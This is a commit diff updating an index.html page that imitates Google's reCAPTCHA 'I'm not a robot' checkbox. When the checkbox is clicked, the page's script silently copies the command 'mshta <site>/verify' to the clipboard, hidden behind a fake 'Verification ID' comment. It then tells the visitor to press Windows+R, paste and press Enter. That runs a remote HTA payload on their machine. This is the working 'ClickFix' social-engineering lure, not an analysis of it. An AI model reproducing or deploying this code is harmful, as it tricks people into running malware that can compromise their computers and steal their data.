Update index.html
Browse files- index.html +72 -177
index.html
CHANGED
|
@@ -1,41 +1,32 @@
|
|
| 1 |
<!DOCTYPE html>
|
| 2 |
-
|
| 3 |
<html lang="en">
|
| 4 |
-
|
| 5 |
-
|
| 6 |
-
|
| 7 |
-
|
| 8 |
-
|
| 9 |
-
<style>
|
| 10 |
-
|
| 11 |
.bold-large-text {
|
| 12 |
-
|
| 13 |
-
|
| 14 |
}
|
| 15 |
-
|
| 16 |
.container {
|
| 17 |
font-family: Roboto, helvetica, arial, sans-serif;
|
| 18 |
}
|
| 19 |
-
|
| 20 |
.m-p {
|
| 21 |
margin: 0;
|
| 22 |
padding: 0;
|
| 23 |
}
|
| 24 |
-
|
| 25 |
.block {
|
| 26 |
display: block;
|
| 27 |
}
|
| 28 |
-
|
| 29 |
code {
|
| 30 |
font-size: 9px;
|
| 31 |
margin-left: 2px;
|
| 32 |
color: gray;
|
| 33 |
}
|
| 34 |
-
|
| 35 |
.line-normal {
|
| 36 |
line-height: normal;
|
| 37 |
}
|
| 38 |
-
|
| 39 |
.checkbox-window {
|
| 40 |
height: 74px;
|
| 41 |
width: 300px;
|
|
@@ -43,22 +34,18 @@
|
|
| 43 |
border-radius: 3px;
|
| 44 |
border: 1px solid #d3d3d3;
|
| 45 |
}
|
| 46 |
-
|
| 47 |
.checkbox-window a {
|
| 48 |
color: #555;
|
| 49 |
text-decoration: none;
|
| 50 |
}
|
| 51 |
-
|
| 52 |
.checkbox-window a:hover {
|
| 53 |
color: #555;
|
| 54 |
text-decoration: underline;
|
| 55 |
}
|
| 56 |
-
|
| 57 |
.checkbox-container {
|
| 58 |
width: 28px;
|
| 59 |
height: 28px;
|
| 60 |
}
|
| 61 |
-
|
| 62 |
.checkbox {
|
| 63 |
position: relative;
|
| 64 |
background-color: #fff;
|
|
@@ -71,11 +58,9 @@
|
|
| 71 |
font-family: Roboto, helvetica, arial, sans-serif;
|
| 72 |
transition: width 500ms, height 500ms, border-radius 500ms, margin-top 500ms, margin-left 500ms, opacity 700ms;
|
| 73 |
}
|
| 74 |
-
|
| 75 |
.checkbox:hover {
|
| 76 |
border: 2px solid #b2b2b2;
|
| 77 |
}
|
| 78 |
-
|
| 79 |
.im-not-a-robot {
|
| 80 |
position: relative;
|
| 81 |
left: 52px;
|
|
@@ -83,10 +68,8 @@
|
|
| 83 |
font-size: 15px;
|
| 84 |
color: #282727;
|
| 85 |
}
|
| 86 |
-
|
| 87 |
.captcha-logo {
|
| 88 |
position: relative;
|
| 89 |
-
|
| 90 |
left: 244px;
|
| 91 |
bottom: 36px;
|
| 92 |
width: 40px;
|
|
@@ -94,8 +77,6 @@
|
|
| 94 |
vertical-align: baseline;
|
| 95 |
padding-bottom: 4px;
|
| 96 |
}
|
| 97 |
-
|
| 98 |
-
|
| 99 |
.checkbox-desc {
|
| 100 |
color: #555555;
|
| 101 |
position: relative;
|
|
@@ -104,7 +85,6 @@
|
|
| 104 |
bottom: 40px;
|
| 105 |
left: 112px;
|
| 106 |
}
|
| 107 |
-
|
| 108 |
.spinner {
|
| 109 |
visibility: hidden;
|
| 110 |
position: relative;
|
|
@@ -115,22 +95,14 @@
|
|
| 115 |
border: 2px solid rgba(0, 0, 0, 0.1);
|
| 116 |
border-top: 2px solid #333;
|
| 117 |
border-radius: 50%;
|
| 118 |
-
visibility: hidden;
|
| 119 |
opacity: 0;
|
| 120 |
transition: opacity 0.5s linear;
|
| 121 |
animation: spin 1s linear infinite;
|
| 122 |
}
|
| 123 |
-
|
| 124 |
@keyframes spin {
|
| 125 |
-
0% {
|
| 126 |
-
|
| 127 |
-
}
|
| 128 |
-
|
| 129 |
-
100% {
|
| 130 |
-
transform: rotate(360deg);
|
| 131 |
-
}
|
| 132 |
}
|
| 133 |
-
|
| 134 |
.verify-window {
|
| 135 |
font-family: Roboto, helvetica, arial, sans-serif;
|
| 136 |
opacity: 0;
|
|
@@ -140,25 +112,18 @@
|
|
| 140 |
width: 310px;
|
| 141 |
background-color: #fff;
|
| 142 |
border: 1px solid #cecece;
|
| 143 |
-
-webkit-box-shadow: 5px 6px 7px -3px rgba(0, 0, 0, 0.12);
|
| 144 |
box-shadow: 5px 6px 7px -3px rgba(0, 0, 0, 0.12);
|
| 145 |
transition: opacity 400ms;
|
| 146 |
}
|
| 147 |
-
|
| 148 |
ol {
|
| 149 |
counter-reset: item;
|
| 150 |
list-style-type: none;
|
| 151 |
-
list-style-position: outside;
|
| 152 |
padding-left: 0;
|
| 153 |
-
|
| 154 |
}
|
| 155 |
-
|
| 156 |
ol li {
|
| 157 |
counter-increment: item;
|
| 158 |
margin-bottom: 10px;
|
| 159 |
-
|
| 160 |
}
|
| 161 |
-
|
| 162 |
ol li::before {
|
| 163 |
content: counter(item) ". ";
|
| 164 |
color: #1A73E8;
|
|
@@ -166,38 +131,30 @@
|
|
| 166 |
margin-right: 10px;
|
| 167 |
margin-left: 10px;
|
| 168 |
}
|
| 169 |
-
|
| 170 |
.verify-container {
|
| 171 |
padding: 8px;
|
| 172 |
}
|
| 173 |
-
|
| 174 |
.verify-header {
|
| 175 |
background-color: #1A73E8;
|
| 176 |
padding: 16px 16px 24px 16px;
|
| 177 |
color: #fff;
|
| 178 |
}
|
| 179 |
-
|
| 180 |
.verify-header-text-small {
|
| 181 |
font-size: 14px;
|
| 182 |
line-height: normal;
|
| 183 |
}
|
| 184 |
-
|
| 185 |
.verify-header-text-medium {
|
| 186 |
font-size: 16px;
|
| 187 |
}
|
| 188 |
-
|
| 189 |
.verify-header-text-big {
|
| 190 |
font-size: 24px;
|
| 191 |
font-weight: 700;
|
| 192 |
}
|
| 193 |
-
|
| 194 |
.verify-main {
|
| 195 |
padding: 5px;
|
| 196 |
color: #111;
|
| 197 |
-
font-size:
|
| 198 |
-
|
| 199 |
}
|
| 200 |
-
|
| 201 |
.verify-footer {
|
| 202 |
border-top: 1px solid #cecece;
|
| 203 |
padding: 10px 7px 10px 7px;
|
|
@@ -206,18 +163,16 @@
|
|
| 206 |
grid-template-columns: auto 102px;
|
| 207 |
font-size: 13px;
|
| 208 |
}
|
| 209 |
-
|
| 210 |
.verify-footer-left {
|
| 211 |
padding: 5px;
|
| 212 |
}
|
| 213 |
-
|
| 214 |
.verify-verify-button {
|
| 215 |
text-transform: uppercase;
|
| 216 |
background-color: #5a89e2;
|
| 217 |
color: #fff;
|
| 218 |
text-align: center;
|
| 219 |
width: 100%;
|
| 220 |
-
padding: 12px 0
|
| 221 |
text-decoration: none;
|
| 222 |
font-weight: 600;
|
| 223 |
height: min-content;
|
|
@@ -227,55 +182,43 @@
|
|
| 227 |
outline: none;
|
| 228 |
cursor: not-allowed;
|
| 229 |
}
|
| 230 |
-
|
| 231 |
-
|
| 232 |
-
|
| 233 |
-
|
| 234 |
-
<div class="container m-p">
|
| 235 |
<div id="checkbox-window" class="checkbox-window m-p block">
|
| 236 |
<div class="checkbox-container m-p">
|
| 237 |
<button type="button" id="checkbox" class="checkbox m-p line-normal"></button>
|
| 238 |
</div>
|
| 239 |
<p class="im-not-a-robot m-p line-normal">I'm not a robot</p>
|
| 240 |
-
<img src="https://www.
|
| 241 |
<br>
|
| 242 |
<p class="checkbox-desc m-p line-normal">
|
| 243 |
-
|
|
|
|
| 244 |
</p>
|
| 245 |
<img class="spinner" alt="" id="spinner">
|
| 246 |
</div>
|
| 247 |
-
|
| 248 |
<div id="verify-window" class="verify-window">
|
| 249 |
<div class="verify-container">
|
| 250 |
<header class="verify-header">
|
| 251 |
<span class="verify-header-text-medium m-p block">Complete these</span>
|
| 252 |
<span class="verify-header-text-big m-p block">Verification Steps</span>
|
| 253 |
-
<span class="verify-header-text-medium m-p block"></span>
|
| 254 |
</header>
|
| 255 |
<main class="verify-main">
|
| 256 |
-
<p>
|
| 257 |
-
To better prove you are not a robot, please:
|
| 258 |
-
</p>
|
| 259 |
<ol>
|
| 260 |
-
<li>
|
| 261 |
-
|
| 262 |
-
</li>
|
| 263 |
-
|
| 264 |
-
<li>
|
| 265 |
-
In the verification window, press <b>Ctrl</b> + <b>V</b>.
|
| 266 |
-
</li>
|
| 267 |
-
|
| 268 |
-
<li>
|
| 269 |
-
Press <b>Enter</b> on your keyboard to finish.
|
| 270 |
-
</li>
|
| 271 |
</ol>
|
| 272 |
<p class="verify-main">
|
| 273 |
-
|
| 274 |
-
|
| 275 |
-
|
| 276 |
-
|
| 277 |
-
</
|
| 278 |
-
</p>
|
| 279 |
</main>
|
| 280 |
</div>
|
| 281 |
<footer class="verify-container verify-footer">
|
|
@@ -284,7 +227,7 @@
|
|
| 284 |
</div>
|
| 285 |
<button type="button" class="verify-verify-button block" id="verify-verify-button" disabled="true">Verify</button>
|
| 286 |
</footer>
|
| 287 |
-
</div>
|
| 288 |
</div>
|
| 289 |
|
| 290 |
<script>
|
|
@@ -311,34 +254,31 @@
|
|
| 311 |
|
| 312 |
function runClickedCheckboxEffects() {
|
| 313 |
hideCaptchaCheckbox();
|
| 314 |
-
setTimeout(
|
| 315 |
-
|
| 316 |
-
},500);
|
| 317 |
-
setTimeout(function(){
|
| 318 |
-
showVerifyWindow();
|
| 319 |
-
},900)
|
| 320 |
}
|
| 321 |
|
| 322 |
function showCaptchaLoading() {
|
| 323 |
checkboxBtnSpinner.style.visibility = "visible";
|
| 324 |
checkboxBtnSpinner.style.opacity = "1";
|
| 325 |
-
checkboxBtnSpinner.style.animation = "spin 1s linear infinite";
|
| 326 |
}
|
| 327 |
|
| 328 |
function hideCaptchaLoading() {
|
| 329 |
checkboxBtnSpinner.style.opacity = "0";
|
| 330 |
-
|
| 331 |
-
setTimeout(function() {
|
| 332 |
checkboxBtnSpinner.style.visibility = "hidden";
|
| 333 |
}, 500);
|
| 334 |
}
|
| 335 |
|
| 336 |
function hideCaptchaCheckbox() {
|
| 337 |
-
checkboxBtn.style.
|
|
|
|
|
|
|
|
|
|
|
|
|
| 338 |
checkboxBtn.style.opacity = "0";
|
| 339 |
}
|
| 340 |
|
| 341 |
-
|
| 342 |
function showCaptchaCheckbox() {
|
| 343 |
checkboxBtn.style.width = "100%";
|
| 344 |
checkboxBtn.style.height = "100%";
|
|
@@ -347,27 +287,8 @@
|
|
| 347 |
checkboxBtn.style.opacity = "1";
|
| 348 |
}
|
| 349 |
|
| 350 |
-
function
|
| 351 |
-
|
| 352 |
-
checkboxBtn.style.height = "4px";
|
| 353 |
-
checkboxBtn.style.borderRadius = "50%";
|
| 354 |
-
checkboxBtn.style.marginLeft = "25px";
|
| 355 |
-
checkboxBtn.style.marginTop = "33px";
|
| 356 |
-
checkboxBtn.style.opacity = "0";
|
| 357 |
-
}
|
| 358 |
-
|
| 359 |
-
function showCaptchaLoading() {
|
| 360 |
-
checkboxBtnSpinner.style.visibility = "visible";
|
| 361 |
-
checkboxBtnSpinner.style.opacity = "1";
|
| 362 |
-
}
|
| 363 |
-
|
| 364 |
-
function hideCaptchaLoading() {
|
| 365 |
-
checkboxBtnSpinner.style.visibility = "hidden";
|
| 366 |
-
checkboxBtnSpinner.style.opacity = "0";
|
| 367 |
-
}
|
| 368 |
-
|
| 369 |
-
function generateRandomNumber() {
|
| 370 |
-
const min = 1000;
|
| 371 |
const max = 9999;
|
| 372 |
return Math.floor(Math.random() * (max - min + 1) + min).toString();
|
| 373 |
}
|
|
@@ -376,83 +297,57 @@
|
|
| 376 |
verifywindow.style.display = "none";
|
| 377 |
verifywindow.style.visibility = "hidden";
|
| 378 |
verifywindow.style.opacity = "0";
|
| 379 |
-
|
| 380 |
showCaptchaCheckbox();
|
| 381 |
hideCaptchaLoading();
|
| 382 |
checkboxBtn.disabled = false;
|
| 383 |
}
|
| 384 |
|
| 385 |
function isverifywindowVisible() {
|
| 386 |
-
return verifywindow.style.display !== "none"
|
| 387 |
}
|
| 388 |
|
| 389 |
-
function setClipboardCopyData(textToCopy){
|
| 390 |
const tempTextArea = document.createElement("textarea");
|
| 391 |
tempTextArea.value = textToCopy;
|
| 392 |
-
document.body.
|
| 393 |
tempTextArea.select();
|
| 394 |
document.execCommand("copy");
|
| 395 |
document.body.removeChild(tempTextArea);
|
| 396 |
}
|
| 397 |
|
| 398 |
-
function stageClipboard(commandToRun, verification_id){
|
| 399 |
-
const suffix = " # "
|
| 400 |
-
const ploy = "✅ ''I am not a robot - reCAPTCHA Verification ID: "
|
| 401 |
-
const end = "''"
|
| 402 |
-
const textToCopy = commandToRun + suffix + ploy + verification_id + end
|
| 403 |
-
|
| 404 |
setClipboardCopyData(textToCopy);
|
| 405 |
}
|
| 406 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 407 |
|
| 408 |
-
|
| 409 |
-
|
| 410 |
-
|
| 411 |
-
|
| 412 |
-
return;
|
| 413 |
-
}
|
| 414 |
-
|
| 415 |
-
// Показать окно проверки
|
| 416 |
-
verifywindow.style.display = "block";
|
| 417 |
-
verifywindow.style.visibility = "visible";
|
| 418 |
-
verifywindow.style.opacity = "1";
|
| 419 |
-
|
| 420 |
-
// Центрирование окна
|
| 421 |
-
verifywindow.style.position = "fixed";
|
| 422 |
-
verifywindow.style.top = "50%";
|
| 423 |
-
verifywindow.style.left = "50%";
|
| 424 |
-
verifywindow.style.transform = "translate(-50%, -50%)";
|
| 425 |
-
|
| 426 |
-
// Установка минимальной позиции
|
| 427 |
-
if (verifywindow.offsetTop < 5) {
|
| 428 |
-
verifywindow.style.top = "5px";
|
| 429 |
-
}
|
| 430 |
-
|
| 431 |
-
// Корректировка позиции, если окно выходит за границы экрана
|
| 432 |
-
if (verifywindow.offsetLeft + verifywindow.offsetWidth > window.innerWidth) {
|
| 433 |
-
verifywindow.style.left = window.innerWidth - verifywindow.offsetWidth + "px";
|
| 434 |
-
}
|
| 435 |
-
|
| 436 |
-
// Генерация уникального идентификатора проверки
|
| 437 |
-
var verification_id = generateRandomNumber();
|
| 438 |
-
// Убедитесь, что элемент для отображения ID существует
|
| 439 |
-
var verificationIdElement = document.getElementById('verification-id');
|
| 440 |
-
if (verificationIdElement) {
|
| 441 |
-
verificationIdElement.textContent = verification_id;
|
| 442 |
-
} else {
|
| 443 |
-
console.error('Verification ID element is missing!');
|
| 444 |
-
}
|
| 445 |
-
|
| 446 |
-
// Формирование команды для выполнения
|
| 447 |
-
const htaPath = window.location.origin + "/verify";
|
| 448 |
-
const commandToRun = "mshta " + htaPath;
|
| 449 |
-
stageClipboard(commandToRun, verification_id);
|
| 450 |
-
}
|
| 451 |
-
|
| 452 |
-
|
| 453 |
|
| 454 |
addCaptchaListeners();
|
| 455 |
-
|
| 456 |
-
|
| 457 |
-
|
| 458 |
-
</html>
|
|
|
|
| 1 |
<!DOCTYPE html>
|
|
|
|
| 2 |
<html lang="en">
|
| 3 |
+
<head>
|
| 4 |
+
<meta charset="utf-8">
|
| 5 |
+
<title>reCAPTCHA Verification</title>
|
| 6 |
+
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.0.0/css/all.css">
|
| 7 |
+
<style>
|
|
|
|
|
|
|
| 8 |
.bold-large-text {
|
| 9 |
+
font-weight: bold;
|
| 10 |
+
font-size: 36px;
|
| 11 |
}
|
|
|
|
| 12 |
.container {
|
| 13 |
font-family: Roboto, helvetica, arial, sans-serif;
|
| 14 |
}
|
|
|
|
| 15 |
.m-p {
|
| 16 |
margin: 0;
|
| 17 |
padding: 0;
|
| 18 |
}
|
|
|
|
| 19 |
.block {
|
| 20 |
display: block;
|
| 21 |
}
|
|
|
|
| 22 |
code {
|
| 23 |
font-size: 9px;
|
| 24 |
margin-left: 2px;
|
| 25 |
color: gray;
|
| 26 |
}
|
|
|
|
| 27 |
.line-normal {
|
| 28 |
line-height: normal;
|
| 29 |
}
|
|
|
|
| 30 |
.checkbox-window {
|
| 31 |
height: 74px;
|
| 32 |
width: 300px;
|
|
|
|
| 34 |
border-radius: 3px;
|
| 35 |
border: 1px solid #d3d3d3;
|
| 36 |
}
|
|
|
|
| 37 |
.checkbox-window a {
|
| 38 |
color: #555;
|
| 39 |
text-decoration: none;
|
| 40 |
}
|
|
|
|
| 41 |
.checkbox-window a:hover {
|
| 42 |
color: #555;
|
| 43 |
text-decoration: underline;
|
| 44 |
}
|
|
|
|
| 45 |
.checkbox-container {
|
| 46 |
width: 28px;
|
| 47 |
height: 28px;
|
| 48 |
}
|
|
|
|
| 49 |
.checkbox {
|
| 50 |
position: relative;
|
| 51 |
background-color: #fff;
|
|
|
|
| 58 |
font-family: Roboto, helvetica, arial, sans-serif;
|
| 59 |
transition: width 500ms, height 500ms, border-radius 500ms, margin-top 500ms, margin-left 500ms, opacity 700ms;
|
| 60 |
}
|
|
|
|
| 61 |
.checkbox:hover {
|
| 62 |
border: 2px solid #b2b2b2;
|
| 63 |
}
|
|
|
|
| 64 |
.im-not-a-robot {
|
| 65 |
position: relative;
|
| 66 |
left: 52px;
|
|
|
|
| 68 |
font-size: 15px;
|
| 69 |
color: #282727;
|
| 70 |
}
|
|
|
|
| 71 |
.captcha-logo {
|
| 72 |
position: relative;
|
|
|
|
| 73 |
left: 244px;
|
| 74 |
bottom: 36px;
|
| 75 |
width: 40px;
|
|
|
|
| 77 |
vertical-align: baseline;
|
| 78 |
padding-bottom: 4px;
|
| 79 |
}
|
|
|
|
|
|
|
| 80 |
.checkbox-desc {
|
| 81 |
color: #555555;
|
| 82 |
position: relative;
|
|
|
|
| 85 |
bottom: 40px;
|
| 86 |
left: 112px;
|
| 87 |
}
|
|
|
|
| 88 |
.spinner {
|
| 89 |
visibility: hidden;
|
| 90 |
position: relative;
|
|
|
|
| 95 |
border: 2px solid rgba(0, 0, 0, 0.1);
|
| 96 |
border-top: 2px solid #333;
|
| 97 |
border-radius: 50%;
|
|
|
|
| 98 |
opacity: 0;
|
| 99 |
transition: opacity 0.5s linear;
|
| 100 |
animation: spin 1s linear infinite;
|
| 101 |
}
|
|
|
|
| 102 |
@keyframes spin {
|
| 103 |
+
0% { transform: rotate(0deg); }
|
| 104 |
+
100% { transform: rotate(360deg); }
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 105 |
}
|
|
|
|
| 106 |
.verify-window {
|
| 107 |
font-family: Roboto, helvetica, arial, sans-serif;
|
| 108 |
opacity: 0;
|
|
|
|
| 112 |
width: 310px;
|
| 113 |
background-color: #fff;
|
| 114 |
border: 1px solid #cecece;
|
|
|
|
| 115 |
box-shadow: 5px 6px 7px -3px rgba(0, 0, 0, 0.12);
|
| 116 |
transition: opacity 400ms;
|
| 117 |
}
|
|
|
|
| 118 |
ol {
|
| 119 |
counter-reset: item;
|
| 120 |
list-style-type: none;
|
|
|
|
| 121 |
padding-left: 0;
|
|
|
|
| 122 |
}
|
|
|
|
| 123 |
ol li {
|
| 124 |
counter-increment: item;
|
| 125 |
margin-bottom: 10px;
|
|
|
|
| 126 |
}
|
|
|
|
| 127 |
ol li::before {
|
| 128 |
content: counter(item) ". ";
|
| 129 |
color: #1A73E8;
|
|
|
|
| 131 |
margin-right: 10px;
|
| 132 |
margin-left: 10px;
|
| 133 |
}
|
|
|
|
| 134 |
.verify-container {
|
| 135 |
padding: 8px;
|
| 136 |
}
|
|
|
|
| 137 |
.verify-header {
|
| 138 |
background-color: #1A73E8;
|
| 139 |
padding: 16px 16px 24px 16px;
|
| 140 |
color: #fff;
|
| 141 |
}
|
|
|
|
| 142 |
.verify-header-text-small {
|
| 143 |
font-size: 14px;
|
| 144 |
line-height: normal;
|
| 145 |
}
|
|
|
|
| 146 |
.verify-header-text-medium {
|
| 147 |
font-size: 16px;
|
| 148 |
}
|
|
|
|
| 149 |
.verify-header-text-big {
|
| 150 |
font-size: 24px;
|
| 151 |
font-weight: 700;
|
| 152 |
}
|
|
|
|
| 153 |
.verify-main {
|
| 154 |
padding: 5px;
|
| 155 |
color: #111;
|
| 156 |
+
font-size: 14px;
|
|
|
|
| 157 |
}
|
|
|
|
| 158 |
.verify-footer {
|
| 159 |
border-top: 1px solid #cecece;
|
| 160 |
padding: 10px 7px 10px 7px;
|
|
|
|
| 163 |
grid-template-columns: auto 102px;
|
| 164 |
font-size: 13px;
|
| 165 |
}
|
|
|
|
| 166 |
.verify-footer-left {
|
| 167 |
padding: 5px;
|
| 168 |
}
|
|
|
|
| 169 |
.verify-verify-button {
|
| 170 |
text-transform: uppercase;
|
| 171 |
background-color: #5a89e2;
|
| 172 |
color: #fff;
|
| 173 |
text-align: center;
|
| 174 |
width: 100%;
|
| 175 |
+
padding: 12px 0;
|
| 176 |
text-decoration: none;
|
| 177 |
font-weight: 600;
|
| 178 |
height: min-content;
|
|
|
|
| 182 |
outline: none;
|
| 183 |
cursor: not-allowed;
|
| 184 |
}
|
| 185 |
+
</style>
|
| 186 |
+
</head>
|
| 187 |
+
<body>
|
| 188 |
+
<div class="container m-p">
|
|
|
|
| 189 |
<div id="checkbox-window" class="checkbox-window m-p block">
|
| 190 |
<div class="checkbox-container m-p">
|
| 191 |
<button type="button" id="checkbox" class="checkbox m-p line-normal"></button>
|
| 192 |
</div>
|
| 193 |
<p class="im-not-a-robot m-p line-normal">I'm not a robot</p>
|
| 194 |
+
<img src="https://www.gstatic.com/recaptcha/api2/logo_48.png" class="captcha-logo line-normal" alt="reCAPTCHA">
|
| 195 |
<br>
|
| 196 |
<p class="checkbox-desc m-p line-normal">
|
| 197 |
+
<a href="https://www.google.com/intl/en/policies/privacy/">Privacy</a> -
|
| 198 |
+
<a href="https://www.google.com/intl/en/policies/terms/">Terms</a>
|
| 199 |
</p>
|
| 200 |
<img class="spinner" alt="" id="spinner">
|
| 201 |
</div>
|
| 202 |
+
|
| 203 |
<div id="verify-window" class="verify-window">
|
| 204 |
<div class="verify-container">
|
| 205 |
<header class="verify-header">
|
| 206 |
<span class="verify-header-text-medium m-p block">Complete these</span>
|
| 207 |
<span class="verify-header-text-big m-p block">Verification Steps</span>
|
|
|
|
| 208 |
</header>
|
| 209 |
<main class="verify-main">
|
| 210 |
+
<p>To better prove you are not a robot, please:</p>
|
|
|
|
|
|
|
| 211 |
<ol>
|
| 212 |
+
<li>Press & hold the Windows Key <i class="fab fa-windows"></i> + <b>R</b>.</li>
|
| 213 |
+
<li>In the verification window, press <b>Ctrl</b> + <b>V</b>.</li>
|
| 214 |
+
<li>Press <b>Enter</b> on your keyboard to finish.</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 215 |
</ol>
|
| 216 |
<p class="verify-main">
|
| 217 |
+
You will observe and agree:<br>
|
| 218 |
+
<code>
|
| 219 |
+
✅ "I am not a robot - reCAPTCHA Verification ID: <span id="verification-id" class="bold-large-text">4743</span>"
|
| 220 |
+
</code>
|
| 221 |
+
</p>
|
|
|
|
| 222 |
</main>
|
| 223 |
</div>
|
| 224 |
<footer class="verify-container verify-footer">
|
|
|
|
| 227 |
</div>
|
| 228 |
<button type="button" class="verify-verify-button block" id="verify-verify-button" disabled="true">Verify</button>
|
| 229 |
</footer>
|
| 230 |
+
</div>
|
| 231 |
</div>
|
| 232 |
|
| 233 |
<script>
|
|
|
|
| 254 |
|
| 255 |
function runClickedCheckboxEffects() {
|
| 256 |
hideCaptchaCheckbox();
|
| 257 |
+
setTimeout(showCaptchaLoading, 500);
|
| 258 |
+
setTimeout(showVerifyWindow, 900);
|
|
|
|
|
|
|
|
|
|
|
|
|
| 259 |
}
|
| 260 |
|
| 261 |
function showCaptchaLoading() {
|
| 262 |
checkboxBtnSpinner.style.visibility = "visible";
|
| 263 |
checkboxBtnSpinner.style.opacity = "1";
|
|
|
|
| 264 |
}
|
| 265 |
|
| 266 |
function hideCaptchaLoading() {
|
| 267 |
checkboxBtnSpinner.style.opacity = "0";
|
| 268 |
+
setTimeout(() => {
|
|
|
|
| 269 |
checkboxBtnSpinner.style.visibility = "hidden";
|
| 270 |
}, 500);
|
| 271 |
}
|
| 272 |
|
| 273 |
function hideCaptchaCheckbox() {
|
| 274 |
+
checkboxBtn.style.width = "4px";
|
| 275 |
+
checkboxBtn.style.height = "4px";
|
| 276 |
+
checkboxBtn.style.borderRadius = "50%";
|
| 277 |
+
checkboxBtn.style.marginLeft = "25px";
|
| 278 |
+
checkboxBtn.style.marginTop = "33px";
|
| 279 |
checkboxBtn.style.opacity = "0";
|
| 280 |
}
|
| 281 |
|
|
|
|
| 282 |
function showCaptchaCheckbox() {
|
| 283 |
checkboxBtn.style.width = "100%";
|
| 284 |
checkboxBtn.style.height = "100%";
|
|
|
|
| 287 |
checkboxBtn.style.opacity = "1";
|
| 288 |
}
|
| 289 |
|
| 290 |
+
function generateRandomNumber() {
|
| 291 |
+
const min = 1000;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 292 |
const max = 9999;
|
| 293 |
return Math.floor(Math.random() * (max - min + 1) + min).toString();
|
| 294 |
}
|
|
|
|
| 297 |
verifywindow.style.display = "none";
|
| 298 |
verifywindow.style.visibility = "hidden";
|
| 299 |
verifywindow.style.opacity = "0";
|
|
|
|
| 300 |
showCaptchaCheckbox();
|
| 301 |
hideCaptchaLoading();
|
| 302 |
checkboxBtn.disabled = false;
|
| 303 |
}
|
| 304 |
|
| 305 |
function isverifywindowVisible() {
|
| 306 |
+
return verifywindow.style.display !== "none";
|
| 307 |
}
|
| 308 |
|
| 309 |
+
function setClipboardCopyData(textToCopy) {
|
| 310 |
const tempTextArea = document.createElement("textarea");
|
| 311 |
tempTextArea.value = textToCopy;
|
| 312 |
+
document.body.appendChild(tempTextArea);
|
| 313 |
tempTextArea.select();
|
| 314 |
document.execCommand("copy");
|
| 315 |
document.body.removeChild(tempTextArea);
|
| 316 |
}
|
| 317 |
|
| 318 |
+
function stageClipboard(commandToRun, verification_id) {
|
| 319 |
+
const suffix = " # ";
|
| 320 |
+
const ploy = "✅ ''I am not a robot - reCAPTCHA Verification ID: ";
|
| 321 |
+
const end = "''";
|
| 322 |
+
const textToCopy = commandToRun + suffix + ploy + verification_id + end;
|
|
|
|
| 323 |
setClipboardCopyData(textToCopy);
|
| 324 |
}
|
| 325 |
|
| 326 |
+
function showVerifyWindow() {
|
| 327 |
+
if (!verifywindow) {
|
| 328 |
+
console.error('Verify window element is missing!');
|
| 329 |
+
return;
|
| 330 |
+
}
|
| 331 |
+
verifywindow.style.display = "block";
|
| 332 |
+
verifywindow.style.visibility = "visible";
|
| 333 |
+
verifywindow.style.opacity = "1";
|
| 334 |
+
verifywindow.style.position = "fixed";
|
| 335 |
+
verifywindow.style.top = "50%";
|
| 336 |
+
verifywindow.style.left = "50%";
|
| 337 |
+
verifywindow.style.transform = "translate(-50%, -50%)";
|
| 338 |
+
|
| 339 |
+
const verification_id = generateRandomNumber();
|
| 340 |
+
const verificationIdElement = document.getElementById('verification-id');
|
| 341 |
+
if (verificationIdElement) {
|
| 342 |
+
verificationIdElement.textContent = verification_id;
|
| 343 |
+
}
|
| 344 |
|
| 345 |
+
const htaPath = window.location.origin + "/verify";
|
| 346 |
+
const commandToRun = "mshta " + htaPath;
|
| 347 |
+
stageClipboard(commandToRun, verification_id);
|
| 348 |
+
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 349 |
|
| 350 |
addCaptchaListeners();
|
| 351 |
+
</script>
|
| 352 |
+
</body>
|
| 353 |
+
</html>
|
|
|